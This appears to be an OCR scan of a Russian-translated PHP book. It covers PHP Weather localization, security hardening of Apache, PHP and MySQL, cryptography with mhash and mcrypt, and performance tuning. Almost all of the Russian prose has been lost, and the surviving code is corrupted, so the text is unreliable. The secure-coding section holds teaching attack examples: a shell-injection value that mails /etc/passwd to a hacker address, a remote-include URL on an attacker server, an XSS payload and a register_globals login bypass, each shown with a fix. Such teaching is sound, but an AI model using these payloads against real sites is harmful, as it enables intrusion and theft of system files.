Apache .
mod_mime Apache .
, .
,
. ,
index, html, en, - index, html, f , . .

PHP Weather:
PHP Weather (http://sourceforge.net/projects/phpweather/) - ,
- .
, i!8n .
PHP Weather , . , METAR, (http://weather.noaa.gov/weather/metar.shtml), . PHP Weather METAR 3000
FTP HTTP . -

PHP Weather:

875

. , , , 5 . ,
5000 , . .
METAR
:
echoC'The temperature is $temp_f degrees Fahrenheit ($temp_c degrees Celsius).");
$temp_f $temp_c
, .
, METAR . , , , .
, if . , . :
if(isset($cloud_layer1_altitude_ft)) {
$sky_str = "There were <b>$cloud_layer1_condition</b> at a height of " .
"<b>$cloud_layer1_altitude_m</b> meters" .
"(<b>$cloud_layer1_altitude_ft</b> feet)";
} else {
$sky_str = "The sky was <b>clear</b>";
:
There were scattered clouds at a height of 2438 meters (8000 feet)

scattered , , METAR.
, ,
11 8 ,
. ,
, , , , .
, 118. $st rings,
: locale_en. inc locale_dk. inc. , .
, ,
, . :
<?php

22.

876

* THis file holds the English translation of PHP Weather. To use it,
* just include it in the main phpweather.inc file.
#
' * Author: Martin Geisler
if (isset($strings))
unset($strings);
/* Load the new strings */
Sstrings = array(
'no data'
'mm_inches'
'precip_a_trace'
'precip_there_was'
'sky_str_forrnat1'

'sky_str_clear'

'<blockquote><p>Sorry! There is <b>no data</b>


'available for %s.</px/blockquote>',
'<b>%s</b> mm (<b>%s</b> inches)',
'a trace',
'There was %s of precipitation ',
'There were <b>%s</b> at a height of <b>%s</b>
'meters (<b>%s</b> feet)',
'The sky was <b>clear</b>');

:
<?php

/;;

* This file holds the Danish translation of PHP Weather. To use it,
* just include it in the main phpweather.inc file.
*

* author Martin Geisler


.'.*/
if (isset($strings)) {
unset(Sstrings);
/* Load the new strings */
Sstrings = array(
'no data'
'mm_inches'
'precip_a_trace'
'precip_there_was'
'sky_str_format1'
'sky_str_clear'

'<blockquotexp>Desv&aelig; rre! Der er '


'<b>ingen data</b> tilst&aelig;de for '
'%s.</px/blockquote>',
'<b>%s</b> mm (<b>%s</b> tommer',
'en smule',
'Oer var %s nedb&oslash;r ',
'Der var <b>%s</b> i en h&oslash;jde af
'<b>%s</b> meter (<b>%s</b> fod)',
'Himlen var <b>skyfri</b>');

,
. ,

PHP Weather:

877

.
gettext() -, .
.
- . , ,
,
, . , .
- .
, , .
.
, , . . .
- . , , , locale_common. , :
<?php
/**
* Provides all the strings needed by locale_common to produce English
* output.
#
* author
Martin Geisler

:; :
- '; '

' vv >l.V';:y! : '..'..; : ',,


, class locale^en extends locale_common
'"<

/** This constructor provides all the strings used.


* @param array This is just passed on to locale_common() */
function locale_en($input)

{
:

%; ":

$this->strings['list_sentences_and']
= and ';
$this->strings['list_sentences_comma'3
='.'',
$this->strings['list_sentences_final_and'] = ', and';
$this->strings['location']
= 'This is a report ' .
: :
'for %s%s%s.';
.'. $this->strings['minutes']
= ' minutes';
$this->strings['time_format']
= 'The report was made' .
' %s ago, at ' .
%s%s%s UTC.';

878

22.

$strings . %s ,
, <>. , %s <f ont color=" red">, - , - </f ont>. , .
, .

. -
Gettext.
, .
.
, ,
. , ,
, , .

23

- , . , , . ,
, , .
.
, ,
, .
?
, , .
.
:


Apache

MySQL



, , .

880

23.

?
- - . , , , , . ,
. , , , , .
.

, , ,
-.


.
, . , , , .
, , , ,
-. , Linux.
,
, . . , . -. , Red Hat, , http://www.redhat.com/
support/alerts/.
, :
-
Computer Emergency Response Team's (CERT) (http://www.cert.org/)

Security Focus' Bugtraq (http://www.securityfocus.com/)

Packet Storm (http://packetstorm.decepticons.org/)


, . ?
Domain Name System (DNS)?
" ?
?

881

, ,
. .


.
. , - FTP,
; , , . .
, , . ,
- . , FTP.
-
FTP. telnet FTP,
. . .
.
, http://www.ssh.fi/ http://www.openssh.org/. FTP telnet.
, , . , /tmp/
/var/ , /tmp/ /var/ .


.
- ,
.
,
. 20 , . mail_stats. php , ,
.
, Tripwire. ,
. Tripwire , . -

882

23.

-
, Tripwire. , Tripwire , , , , , . ,
Tripwire,
.


,
, .
, , . - Bugtraq Packet Storm.
, . ,
(patch), . .
- ,
, ,
. , , , .
, - .


, (advisories), . , .
Backdoor

(backdoor) - , . , . ,
. , . - Borland Interbase SQL Server. , , Firebird.
nahttp://www.securityfocus.com/advisories/3152/.

883

Buffer Overflow
(buffer overflow)
, ,
. .
- . , ,
.

.
http://www.phrack.org/'show.php?p=49&a=14 ( ).
CGI Exploit
( )
CGI.
. .

(Denial of Service - DoS)
. . .
DoS - (packet flooding). Internet Control Message Packets (ICMP), . . , , ,
.
, . Security Focus : http:/ /www.secu.rityfocus.com/cgi-bin/library.pi? cat=213.

,
. , ,
.
, , - Apache Software Foundation (http://
www.apache.org/). , root apache.org

884

23.

. , , .
http://www.securiteam.com/securitynews/5MP031PlFG.html.

Apache
- -. - Apache,
-.
Apache ;
Apache . ,
, Apache, - Apache http://www.apacheweek.com/.
, Apache, . Apache , .
.
Apache (http://httpd.apache.org/).
2.

User
Apache root. , .
, User Apache ( httpd. conf).
, Apache ,
, , httpd
, ,
. , , /usr/local/httpd,
root, .
, ,
h t t p d . ,
(log files). Tripwire,
Apache.
, User Apache,
.

cgi-bin. , Apache -

Apache

885

, nobody www. , .

Directory
Apache - , . Apache , .
Directory ,
. , Apache . Directory h t t p d . c o n f :
<Directory />
AllowOverride None
Options None
Order deny,allow
Deny from all
</Directory>
Apache /. <Di rectory> Apache.
- . Directory:
DocumentRoot /www
<Directory /www>
AllowOverride None
Options Indexes FollowSymlinks
Order allow, deny
Allow from all
</Directory>
HTML PHP /www/.
. Di rectory
Apache, . , . htaccess. File:
AccessFileName .htaccess
<Files ~"\.ntaccess$">
Order deny,allow
Deny from all
</Files>

";

httpd.conf . , , . -

886

23.

h t t p d . c o n f , , .
, .
: ,
.

Apache
Apache . , . cgi-bin CGI, ScriptAlias cgi-bin. , AddHandler AddTypes, .
Apache #
:
ScriptAlias

/cgi-bin/

AddHandler

cgi-script

AddType
AddHandler

text/html
server-parsed

AddHander
AddHandler

send-as-is
imap-file

/www/cgi-bin/

.cgi
.shtml
.shtml
asis
map

He Apache h t t p d . c o n f .
Linux killall -HUP httpd, Windows NT/2000 - net stop Apache net start Apache.
, . , httpd -t.


,
. , .

CGI
CGI (
Apache ),
cgi-bin
CGI. .
,
CGI:

-

PHP

887

http:/
/www.mydomaln.com/cgi-bin/php?/etc/passwd. /etc/passwd, .
, - /etc/passwd PHP , , /etc/passwd - ,
. , /etc/passwd ,
.
, URL http://
www.mydomain.com/cgi-bin/php/some/protected/file.html.
- http://mydom.ains
.com/some/protected/file.html. , -, .
,
. -enable-force-cgi-redirect,
. doc_root user_dir.
-enable-force-cgi-redirect Apache,
.
Apache CGI REDIRECT_STATUS. ,
Apache, , .

,
-.
/usr/local/bin/php. ,
:
!/path/to/ptip

- , .
, .
PATH_INFO PATrLTRANSLATED, -enable-discard-path.


p h i . i n i ,
, .
, , ,
.

display_errors
false. , .
, , .

23.

888

,
false. true. false,
error_log ,
.

error_reporting
. , .
, ,
e r r o r _ r e p o r t i n g ( ) p h p . ini. .
, (. 23.1):
23.1.

E_ALL

E_ERROR

E_WARNING

E_PARSE

E_NOTTCE

E_CORE_ERROR

Zend Engine

E_CORE_WARNING

Zend Engine

E_COMPILE_ERROR

Zend Engine

E_COMPILE_WARNING

Zend Engine

E_USER_ERROR

, ( trigger_error())

E_USER_WARNING

, (
trigger_error())

E USER NOTICE

, (
trigger_error())


AND, OR NOT. :
, E_NOTICE E_USER_NOTICE:
error_reporting = EJVLL & -(E_NOTICE|E_USER_NOTICE)

E_ERROR, E_CORE_ERROR, E_COMPILE_ERROR E_USER_ERROR:


error_reporting = E_ERROR|E_CORE_ERROR|E_COMPILE_ERROR|E_USER_ERROR

PHP

889

:
error_/eporting = E_ALL

E_ALL.
, .

open_basedir
, fopen(). , /home/wrox/web site/
logs, open_basedir. , (;) Windows
(:) .
,
.
.

variables_order
,
POST, GET, cookie . EGPCS,
, GET, POST, cookie .
, , . , GET, POST, . . POST , GET, POST
GET. ,
GET, variables_order PCS.
, 5
,
, .

register_globals
, , . on ( 4.1), o f f (
4.2), EGPCS
. .
, , , ( POST, GET cookie), . . o f f (), tk_vars on.

890

23.

track_vars
on ( ), EGPCS $HTTP_ENV_VARS, $HTTP_GET_VARS,
$HTTP_POST_VARS, $HTTP_COOKIE_VARS $HTTP_SERVER_VARS.

disable_f unctions
,
. . , , :
()

passthru()

system()
, p a s s t h r u ( ) ,

shell_exec()
,

()

allow_url_fopen
FTP- -.
HTTP
FTP, o f f .



, (safe mode). , , ,
, .
, , .
, , .
php. ini , . .

MySQL

891

safejnode
.
- o f f .

safe_mode_gid
id id , .
on, , id . - o f f .

safe_mode_exec_dir
, . , . , .

safe_mode_allowed_env_vars
, . _, . .
, _.

safe_mode_protected_env_vars
, . safe_mode_allowed_env_vars , , . - LD_LIBRARY_PATH.

MySQL
MySQL - open source.
, :
MySQL . .
MySQL ,
http://www.canowhoopass.com/weav/wssig/nusphere/testnusphere.php , MySQL.
MySQL ,
.

MySQL root
MySQL root . , -

892

23.

he.org. mysql MySQL safe_mysql .


MySQL.

MySQL MySQL. , :
mysqladmin -p - root shutdown
, mysql /home/mysql/data, mysql ( mysql). :
chown -R mysql /home/mysql/data
chmod -R go-rwx /home/mysql/data
.
, , u n i x . -with-unix-socket-path
.
, MySQL. safejnysql, mysql:
safe_mysql -user=mysql &

user mysql, m y . cnf [mysqld]:


user=mysql

/etc/my, c n f .
- User root. root,
. :
chown root /etc/my.cnf
chmod 644 /etc/my.cnf

, , :



root

MySQL

893

,
:
mysql -u root -p

root. root ,
-, .
, MySQL. -
test. , :
mysql> DROP DATABASE test;
SQL . . MySQL
mysql. mysql
. :
mysql> USE mysql;

,
, root:
mysql> DELETE FROM db WHERE Db LIKE 'test%';
, . MySQL SQL:
mysql> DELETE FROM user WHERE host='%';
:
mysql> DELETE FROM user WHERE User=";

root. - ,
- :
mysql> UPDATE user SET Password = PASSWORD("jgt4*92smck") WHERE User = 'root';
, MySQL , . SQL:
mysql> FLUSH PRIVILEGES;

MySQL
, , .
-
. w e b u s e r . ,
, ,

894

23.

;
adminuser.
web site
- users, news log_tbl. users , -. , webuser
SELECT, INSERT UPDATE .
news .
, webuser SELECT . , log_tbl . ,
SELECT INSERT ,
UPDATE DELETE.
, .
mysql:
mysql -uroot -p
Enter password: ******
, SELECT -:
mysql> GRANT SELECT ON web site.* TO webuser@localhost IDENTIFIED BY
'secure_password';
mysql> GRANT SELECT ON web site.* TO adminuser@localhost IDENTIFIED BY
'secure_password2';
webuser INSERT UPDATE users INSERT log_tbl:
,

mysql> GRANT INSERT, UPDATE ON web site.users TO webuser@localhost;


mysql> GRANT INSERT ON web site.log TO webuser@localhost;

adminuser INSERT, UPDATE DELETE users, INSERT UPDATE news INSERT


log_tbl. SQL:
mysql> GRANT INSERT, UPDATE, DELETE ON web site.users TO adminuser@localhost;
mysql> GRANT INSERT, UPDATE ON web site.news TO adminuser@localhost;
inysql> GRANT INSERT ON web site.log_tbl TO adminuser@localhost;

, MySQL :
mysql> FLUSH PRIVILEGES;

MySQL , , . MySQL
.

895

( . kryptys grapho) - , .
, , ,
. -
, , , .
, , - .


,
. ,
, .
, ,
(hashing algorithms). ,
. MD5. , , 128- .
, ,1 , ,
. , ( ).
,
.
MD5 , , .
, , .
- , . MD5 , . - . . .

896

23.

. , MD5. ,
, , .
, , , . , ,

.
PHP m<J5( ) . :

<?php

Sfingerprint = md5($password);
?> .; .,...'/...... .:.;,;:.,'....:.,, .-..
MD5 . ,
.
, , .

CRC32, . CRC32 , 32- , 128-.



.
MD5 CRC32,
mhash. MD5 CRC32.
mhashQ.
: ( ), - , , - , . MD5 mhash ():
<?php
$passphrase="this is my secret passphrase";
echo("My passphrase hashed using md5 is: ");
echo( mhash (MASH_MD5, $passphrase));
, mhash. http://mhash.sourceforge.net/
(. 23.2).

897

23.2. , mhash

CRC32
, , ,
mhash - MHASH_CRC32,
Ethernet, MHASH_CRC32B, ZIP

MD5

, md5(). MHASH_MD5

MD4

MD4 MD5, , . MD5 ,


MD4 . MHASH_MD4

SHA1


NIST Digital Signature Standard. - MHASH_SHA1

HAVAL

MD5, .
mhash - MHASH_HAVAL256,
MHASHJWAL192, MHASH_HAVAL160 MHASH_HAVAL128

RIPEMD160

160- , MD4, MD5 RIPEMD. -, , MD5 . MHASH_RIPEMD160

TIGER

TIGER . 64- ,
.
MHASHJ1GER192, MHASHJ1GER160 MHASH_TIGER128

GOST

, 256- .
MHASH GOST


. . Enigma
.
.
, - . - , ,
29 . 989

898

23.

. , ,
, .
mcrypt, .
, mcrypt, (. 23.3). http://mcrypt.hellug.gr/mcrypt/mcrypt.lMml.
23.3. , mcrypt

DES

DES, -
. MCRYPT_DES

3DES/Triple DES

DES .
112 . MCRYPT_3DES

CAST-128

128
64 .
MCRYPT_CAST_128

CAST-256

CAST-128, 256 128 . MCRYPT_CAST_256

XTEA

Tiny Encryption Algorithm ( ) . 128


64 . MCRYPT_XTEA

3-WAY

96 .
MCRYPT_THREEWAY

SKIPJACK

,
Escrowed Encryption Standard, . mcrypt 64 80 .
MCRYPT_SKIPJACK

BLOWFISH

DES.
448 . MCRYPT_BLOWFISH

TWOFISH

. 128, 192 256 . MCRYPT_TWOFISH

LOKI97

128, 192 256 . MCRYPT_LOKI97

RC2

64 , 8 1024 .
, 16- . MCRYPT_RC2

ARCFOUR/RC4

RC4 - RSADSL, mcrypt


RC4, ARCFOUR. 2048 . MCRYPT_ARCFOUR

899


RIJNDAEL

.
MCRYPT_RIJNDAEL_128, MCRYPT_RIJNDAELJ92 MCRYPT_RIJNDAEL_256

SERPENT

128- , , DES. MCRYPT_SERPENT

IDEA

64 128 .
MCRYPT_IDEA

ENIGMA / CRYPT

Enigma, , . MCRYPT_CRYPT

COST

256 64 .
MCRYPT_GOST

SAFER

, 64
128 . MCRYPT_SAFER64 MCRYPT_SAFER128

SAFER+

Safer, 128,
196 256 . MCRYPT_SAFERPI_US

, , Triple DES. :
<?php
$key = "This is pur secret key"; :
$string = "This is the string that we want to encrypt";
//
$encrypted_message = mcrypt_ecb(MCRYPT_3DES, $key, Sstring, MCRYPT_ENCRYPT);
, Sencrypted_message MCRYPT_DECRYPT.
mcrypt 2.2.x 2.4.x.
, mcrypt 2.4.x , mcrypt 2.4.x,
.


.
. ,
, . , .
,
.

900

23.

,
(public key). . ;
(private key), .
. - PGP (Pretty Good
Privacy), , .
OpenSSL.
Secure Socket Layer (SSL) CURL.
. , .
, , .


, , , . , ,
- , , . (packet sniffing). , , -, .
, -, ? ,
, - , .
, , , . ,
.
, ,
. - SSL -.
-, http://www.amazon.com/,
, , , https://, http://. , , -?

Apache mod_ssl
mod_ssl Apache,
SSL.
. mod_ssl .

901

mod_ssl.
,
mod_ssl.

mod_ssl Linux
, Apache
. http://httpd.apache.org/.
mod_ssl openssl (ftp://ftp.openssl.org/
source/). , .
openssl-0.9.6 :
tar -xvzf openssl-0.9.6.tar.gz
cd openssl-0.9.6
./config -fPIC
make
make test
mod_ssl ftp://ftp.modssl.org/source/.
. mod_ssl mod_ssl-2. 8. 5-1.3. 22. ,
, openssl, :
tar -xvzf mod_ssl-2.8.5-1.3.22.tar.gz
cd mod_ssl-2.8.5-1.3.22
./configure -with-Apache=/path/to/apache/source
Apache, Apache:
cd /path/to/Apache/source
export SSI__BASE=/path/to/where/openssl/is
./configure -enable-module=ssl -enable-shared=ssl -enable-module=so
make

Apache SSL.
Apache:
make certificate

,
RSA 3.
, :
make install

, Apache, openssl mod_ssl.

902

23.

mod_ssl Windows
mocl_ssl Windows, -. , Win32 . mod_ssl Windows . -, ,
. http://www.modssl.org/contrib/. Apache_*-mod_ssl_*-openssl_*-WIN32-i386. zip,
Apache+SSL Win32 HOWTO. htm.

mod_ssl
mod_ssl, Apache, . , Apache.
Apache, 443 (
HTTPS). httpd.conf, Port, :
Port 80
# .
Listen 443

Apache mod_ssl ,
, mod_ssl. so, ApacheModSSL. dll ApacheModSSL. so
modules ( UNIX, -
Windows). httpd.conf,
LoadModule, :
^ mod_ssl.so mod_ssl.
LoadModule ssljnodule modules/mod_ssl.sp

, mod_ssl. httpd. conf :


SSLMutex sem
SSLRandomSeed startup builtin
SSLSessionCache none
SSLLog logs/SSL.log
SSLLogLevel info
<VirtualHost www.yburdomain.com:443>
. SSLEngine On
SSLCertificateFile conf/ssl/my-server.cert
SSLKeyFile conf/ssl/my-server.key
</VirtualHost>

903

, SSLMutex (
) . ,
Windows Linux.
Linux, /path/to/mutex/f ile
. ,
.
mod_ssl, . , .
SSLSessionCache . , ,

, .
, Apache, https://
www.yourdomain.com/ 443 mod_ssl
SSLEngine On. ,
. , .

SSL
, SSL , ,
. SSL ,
- .
, https://www.yourdomain.com/, http://www.yourdomain.com/.


,
, , . ,
-.
, ,
.

, . , ,
.
.

register_globals
, .

904

23.

, register_globals .
. -. HTML:
<?php
if (isset($user)) {
if ($user == "admin") { :
if ($pass == "password") {
$loggedin = 1 ;
; }

w: - . S i . - : : ':

'

; .'

if (Sloggedin .== 1) {
include("secf etpage.html");
exit;
}
'

,?>:"' - "

'

. -;;V

: ',' V / " :

<html>
<head>
<title>Login</title>
: </head>
:'.;' <body>
<form method="get" action="<?php echo($PHP_SELF) ?>">
<input type="test" name="user">
<input type="password" name="pass">
<input type="submit" value="Login">
,
</form>
</body>
</html>

, . http://www.yourdomaln.com/
test.php?user=admin&pass=password. Sloggedin
1, secretpage. html.
,
user pass; , . , http:/fwww.yourdomain.com/test.php?loggedin1. if (Sloggedin == 1 )
true, .
. register_globals , .
:

905

register_globals
$HTTP_*_VARS

. $loggedin = 0;.
,
,
.

$HTTP_*_VARS gister_globals.
.
4,2.0
. ,
php. ini.

, , ,
register_globals . 90% .
(Shaun Clowes) ,
, , -
register_globals. A Study in Scarlet - Exploiting Common Vulnerabilities in PHP Applications http://www.securereality.com.au/
studyinscarlet.txt. :
register_globals?
- .

- $HTTP_POST_VARS - $_POST, $_GET,


$_COOKIEH$_ENV.
, register_globals , , . ,
:
$user = $_GET["user"];
$pass = $_GET["pass"];

,
- , . :
<?php
if (isset($_GET["filetype"]))
exec("ls *.".$_GET["filetype"]);
'.?>'.
<html>

906

23.

<body>
<form method="get">
Search Directory for files of type:
<input type="text" name="filetype">
<input type="submit">
</form>
</body>
</html>
. , . ,
, filetype "html; cat /etc/passwd |
mail hacker@theirdomain. com"? , , Is * . html, cat /ete/passwd | mail hacker@thei rdomain.com, /etc/passwd . ,
escapeshellarg( ). ,
:
<?php
if (isset($JSET["filetype"]))
exec("ls *." . escapeshellarg($_GET["filetype"]));

<html>
<body>
<form method="get">
Search Directory for files of type:
<input type="text" name="filetype">
<input type="submit">
</form>
</body>
</html>
, ().

SQL. SQL
addslashes( ) .

Cross-Site Scripting
,
(
, "Hello Susername"), cross-site scripting. , HTML . :

907

<?php
if ($_GET['name'])
echo("Hello " . $_GET['name']);

?> :

?name=<script>Malicious Code</script>, .
, , , . , . , ,
htmlspecialchars(). , cross-site scripting:
<?php
if ($_GET['name'])
echo("Hello " . htmlspecialchars($_GET['name']));

include
, -
.
URL. :
<html>
<head>
<title>My site</title>
</head>
<body>
<b>Welcome to my site</b><br />
<?php include($page); ?>
</body>
</html>

script. php?page=main. html.


, .
p h p . ini allow_url_fopen on,
, script, p h p
?pagehttp://www.attackers-sever.com/code.txt.
code, txt , . , allow_url_fopen off, .
, , $ /etc/passwd, /etc/passwd
. - .
-

908

23.

, . $ges[$index], :

<?php

?>

$pages = array(1 => "main.html", 2 => "news.html");


if(($index < 1) or ($index > 2))
$index = 1 ;

<html>
<head>""'.'
<title>My site</title.>
</head>
'*%"?

<body>
<B>Welcome to my site</b><br />
<?php Include $pages[$index]; ?>
</body>
</html>

?index=1 main, html ?index=2 news. html.



, .
, ,
. ,
- , . , . . , , ,
. ? ,
.
, , . , .
Hickory Dickory Dock
The clock struck one, The mouse ran down, Hickory dickory dock,
One 1, TCslTMrdHdd, , . , (Mouse Clock),
, .


.
,
, .

909

, , ,
.

:




- , .
.
, , ,
, .



Linux
http:/ /www.linuxworld.com/linuxworld/lw-2001-03/lw-03-penguin_5.html
http://www.linuxworld.com/linuxworld/lw-1999-05/lw-05-ramparts.html
http://www.linuxgazette.com/issue34/vertes.html
http://www.redhat.com/docs/manuals/linux/RHL-7.l-Manual/ref-guide/chsecurity.html
http://linuxdoc.Org/LDP/solrhe/Securing-Optimizing-Linux-RH-Edition-vl.3/
index.html


http://www.openssh.org/ - openssh
http://www.ssh.fi/ - ssh
http://www.openssl.org/ - openssl
http://www.fressh.org/ - fressh
http://www.redhat.com/docs/manuals/linux/RHL-7.l-Manual/custom-guide/
openssh-servers.html openssh Linux
http://www.kleber.net/ssh/ssh-faq.html - FAQ

Tripwire
http://www.tripwire.org/ - Tripwire

910

23.

http://www.redhat.com/docs/manuals/linux/RHL-7.l-Manual/ref-guide/chtripwire.html - Tripwire Linux

Apache
http://httpd.apache.org/docs/misc/security_tips.html
Apache,
http://www.allaire.com/DocumentCenter/Partners/
ASZ_ASWPS_Securing_Apache.pdf - Allaire Apache,


http://www.php.net/manual/en/security.php - ,
http://www.php.net/manual/en/features.safe-mode.php

http://www.php.net/manual/en/configuration.php - ,

http://www.faqts.com/knowledgejbase/index.phtml/fid/35

FAQ

MySQL
http://www.mysql.com/doc/P/rfPrivilege_system.html MySQL,

http://mhash.sourceforge.net/ - mhash
http://mcrypt.hellug.gr/ - mcrypt
http://www.openssl.org/ - openssl
http://www.pgpi.com/ - Pretty Good Privacy International
http://www.gnupg.org/ - GNU Privacy Guard
The Code Book Anchor Books (ISBN 0-385495-32-3)

mod_ssl
http://www.modssl.org/ - mod_ssl
http://www.thawte.com/certs/server/Apachepaper.html no mod_ssl, Apache thawte

911


http://www.securereality.com.au/studyinscarlet.txt -

http://www.linuxdoc.org/HOWTO/Secure-Programs-HOWTO/ -
( )
http://www.cert.org/advisories/CA-2000-02.html - CERT cross-site scripting

-,
http://www.cert.org/ - Computer Emergency Response
Team
http://www.securityfocus.org - BugTraq
http://packetstorm.decepticons.org/ - Packetstorm
http://www.atstake.com/research/index.html - @stake research ( lOpht)
http://www.phrack.org/-
http://directory.google.com/Top/Computers/Security/Internet/ - Google ,

http://psy.ucsd.edu/psynet/security/passwd.html -

24

- .

, - , ,
. , .
, , ,
, , .
:

,


, ,
, . , , - .
,
. , ;
, .
:
CGI Perl
- 1-2

913

FastCGI Perl
CGI
Python CGI
Python CGI
mod_python Python
Apache, Python,
Python
CGI
, CGI
mod_perl Perl
Apache, Perl Perl
PHP

, , , mod_perl, FastCGi
, . , , , .

1 1000 (. 24.1):
24.1. ,
( .)

23,8

mod_python
mod_perl

Python

45,2

FastCGI

16,4

160

( .)

20,6

Perl

30,0
16,4

Test 2 - 1000 , 1000


(. 24.2):
24.2.

( .)

258

Perl

963

Python

978

304

mod_python
mod_perl
FastCGI

( .)
347
476
280

914

24.


(preoptimization), : - ereg() str_rep1(), , . .
-,
0,01 , , . -,

.
,
. :


,


, ,
. , .
(bottlenecks).
. , , 99% , , / .
.


, .
, :
<?php
// Some initializations
requi re_once("some_class.php");
$foo = new some_class();
$res1 = $foo->do_a_method();
$res2 = $foo->do_a_method2();

PHP
echo($res1);
echo($res2);
?>

915

';|tf

,
, some_class( ), $foo.
- .
2,3 , ,
.
, -
require_once(), some_class() . , , , require_once( ) 2,3 .
time(), ,
1970 . , , , , , ,
, .
microtimeO.
microtime
msec sec, msec , a sec - 1970 , :
<?php
echo(microtimeO);
?>

:
0.15672253 987612546

,
:
<?php
$time_portions = explode( ' ', microtimeO);
$actual_time = $titne_portions[1] . substr($time_portions[0], 1);
echo($actual_time);
"ffit;


0.15672253 987612546

987612546.15672253

24.

916


. bc_sub():
<?php
$elapsect_time = bcsub($end_time, $start_time, 6);

bcmath
--enable-bc-math.
6 ,
.
Timer
.
.
:
timerStart()
.
, timer_start('foo').
timerStopO
,
. .
<?
class Timer
var $timers = array();
function TimerO

;v

// Nothing
function timerStart($name = 'default')
$time_portions = explode(' ', microtimeO);
$actual_time =, $time_portions[1] . substr($time_portions[0], 1);
$this->timers['$name'] = $actual_time;
function timerStop($name = 'default')
$time_portions = explodeC ', microtimeO);
$actual_time = $time_portions[1]... substr($time_portipns[0], 1);
$elapsed_time = bcsub($actual_time, $this->timers['$name.':3, 6);

PHP

917

return $elapsed_time;

?>

'

'

. :/.

'

''-.; f.tr^ -

Timer bcsub( ), .
error_message(undefined function bcsub ..... ) , bcmath . -enable-bcmath
,
.
. PEAR pear/Benchmark/Time r. php .
PEAR .

- Time_Inf , ,
phpinfo( ) multiply( ),
:
<?php
// , ,
// phpinfo(), , .
class Time_Info
{
//
function Time_Info(){}
// 1: phpinfoO
function phpinf()
{
phpinfoO;
}
// 2:
function multiply()
{
$multiplied=10000*10000*10000*10000;

,
. timerStart( ) timerStop( ), :
<?
//
require_once("Timer. php");
requi re_once( "Time_Inf . php" ) ;
$tim = new TlmerQ;

918

24.
$tim->timerStart( 'total');
$tim->timerStart();
$foo = new Time_Info();
print("Constructor: " ., $tim->timerStop()
$tim->titnerStart();
$res1 = .$foo->phpinf();
print("Method1: " . $tim->timerStop() .
$tim->timerStart();
$res2 = $foo->rnultiply();
print("Method2: " . $tim->timerStop() .
echo($res1);
echo($res2);
print( "Total execution time: " , $tim->tinierStop( ' total') . "<br>");

, , p h p _ i n f ( ) multiplyO,
:
Constructor: 0.000084
Method"!: 0.037100
Method2: 0.000101
Total execution time: 0.037980
, , , , .
, .


, , . -, . -,
.
, , .



:


( f o r ( ) w h i l e ( ) ).

919


, , *
.

,
.

, , , .
.


.
/ .
, ,
.
10% 90% - /
.
, , , . :




echo()
Zend Optimizer



, .
,
, . / , .
, ,
. -

24.

920

, , .
f ile() - .


. :
strstr() ereg()
,
() - st rst () .
str_replace() ereg_replace()
, , str_replace() ereg_replace().
,
PCRE (Perl Compatible Regular Expressions), ,
_* (). 7.


:

echo()
print()

<?
echo("Echoing output\n");
print("Printing output\n");
?>

' ' ' "'">; . : . .

,
. , .


, :
readfile()
include()
require()
readfileO ,
. , . include() require() , .

921

include() HTML. readf ile().

echo
echo , . :
echo("hello \n
this is a test\n
of the echo statement");

, :
echo("heHo\n");
echoO'this is a test\n");
echo("of the echo statement");

Zend
- Zend (http://www.zend.org/). http://www.zend.com/store/products/zend-optimizer.php.
,
, ,
Zend .
/ Zend Optimizer , .



. p r i n t ( ) ,
- . .
/ . /, , 4.0.3.
, ,
, .
:
/ ,

24.

922

,
. ,
, , , - .


,
:
<?ptip
ob_start();
echqC'This is a test\n");
ectio("More content\n");
ob_end_flush();

ob_start( ) . ob_start( )
, , .
ob_end_flush( ), - , .
ob_end_f lush ( ) , . .


void ob_start( [string output_callback])

, , .
.
, ob_end_f lush(). ,
.
, , , f bar:
<?php
function censorship($buffer)

923

return str_replace('foo', ' b a r ' , $buffer);

l;;-.--';.^:

, ;:;,

ob_start('censorship');
echo("This is a foo test of our program\n");
echo("I can't write foo!\n");
ob_end_flush();
?>
':

'

' '-":': '

(. 24.1):
N http: /localhost. ProPHP4/Chapter25/censorshB4ilH>
;:jFfe Ed View Search Go gpokmarks

I
V. This is a bar test of our program I can't write bar!

Puc. 24.1.
:
string ob_get_contents(void)
false, ' :
string ob_get_length(void)
.
, false:
void ob_end_flush(void)

(. ). , , ob_get_contents() - ob_end_f lush().


.
, ob_start() ,
ob_start(). ob_start() , ob_end_f l u s h ( ) .
ob_end_f l u s h ( ) .
,
, .

24.

924


HTML. , g z i p , .

, . 60%
.
ob_gzhand1(). ob_start(), ob_end_flush() PHP
:
ob_gzhandler()
ob_gzhandler() ,
gzip, ,
gzip , content type gzip

.
:
ob_start('ob_gzhandler');

, gzip.
o b _ g z h a n d l e r ( ) ob_start(), p h p . ini:
output_handler = 'ob_gzhandler'
ob_gzhandler()
4.0.5 .
ob_gzhandler() .

, HTTP
vary. , POST,
.


, .
,
.

925

MySQL,
PostgreSQL, Oracle .


, , . , , , , . , .


, MySQL EXPLAIN, , MySQL . :
EXPLAIN SELECT

FROM

WHERE.

, EXPLAIN SELECT. MySQL


. :
table
, .
type
.
.
possible_keys
, MySQL
. , ,
. , WHERE ,
.
key
, MySQL .
key NULL, , . MySQL
,
USE INDEX/IGNORE INDEX.
key_len
key_len , MySQL.
ref
,
.

926

24.

rows
, MySQL , .
Extra
, MySQL . :
Distinct
MySQL , ,
.
Not exists
MySQL LEFT JOIN
, , LEFT JOIN.
Using filesort
MySQL , , .
, WHERE. ,
.
Using index
, . ,
.
Using temporary
MySQL . , ORDER BY ,
, GROUP BY
.
Using f i l e s o r t Using temporary, , .

:
system
. (
) , .
eq_ref
. -

927

, . , ,
.
ref
, ref ,
. , .
range

. key .
ALL

. , ,
. A L L ,
, ,
.
index
, A L L , , . , A L L ,
, .
,
rows EXPLAIN. , MySQL,
.
MySQL , ,
EXPLAIN.
, , . , , EXPLAIN.
EXPLAIN SELECT:
EXPLAIN SELECT tt.TicketNumber, tt.Timeln,
tt.ProjectReference, tt.EstimatedShipDate,
tt.ActualShipDate, tt.ClientID,
tt.ServiceCodes, tt.RepetitivelD,
tt.Cu r rentPflocess, tt. r rentDPPerson,
tt.RecordVolume, tt.DPPprinted, et.COUNTRY,
et_1.COUNTRY, dO.CUSTNAME
FROM tt.et.et AS et_1
WHERE
tt.SubmitTime IS NULL

928

24.
AND tt.ActualPC = et.EMPLOYID
AND tt.AsignedPC = et_1.EMPLOYID
AND tt.ClientlD = do.CUSTNMBR;

, :

tt

ActualPC

CHAR(10)

tt

AssignedPC

CHAR(10)

tt

CllentID

CHAR(10)

et

EMPLOYID

CHAR(15)

do

CUSTNMBR

CHAR(15)

tt
tt

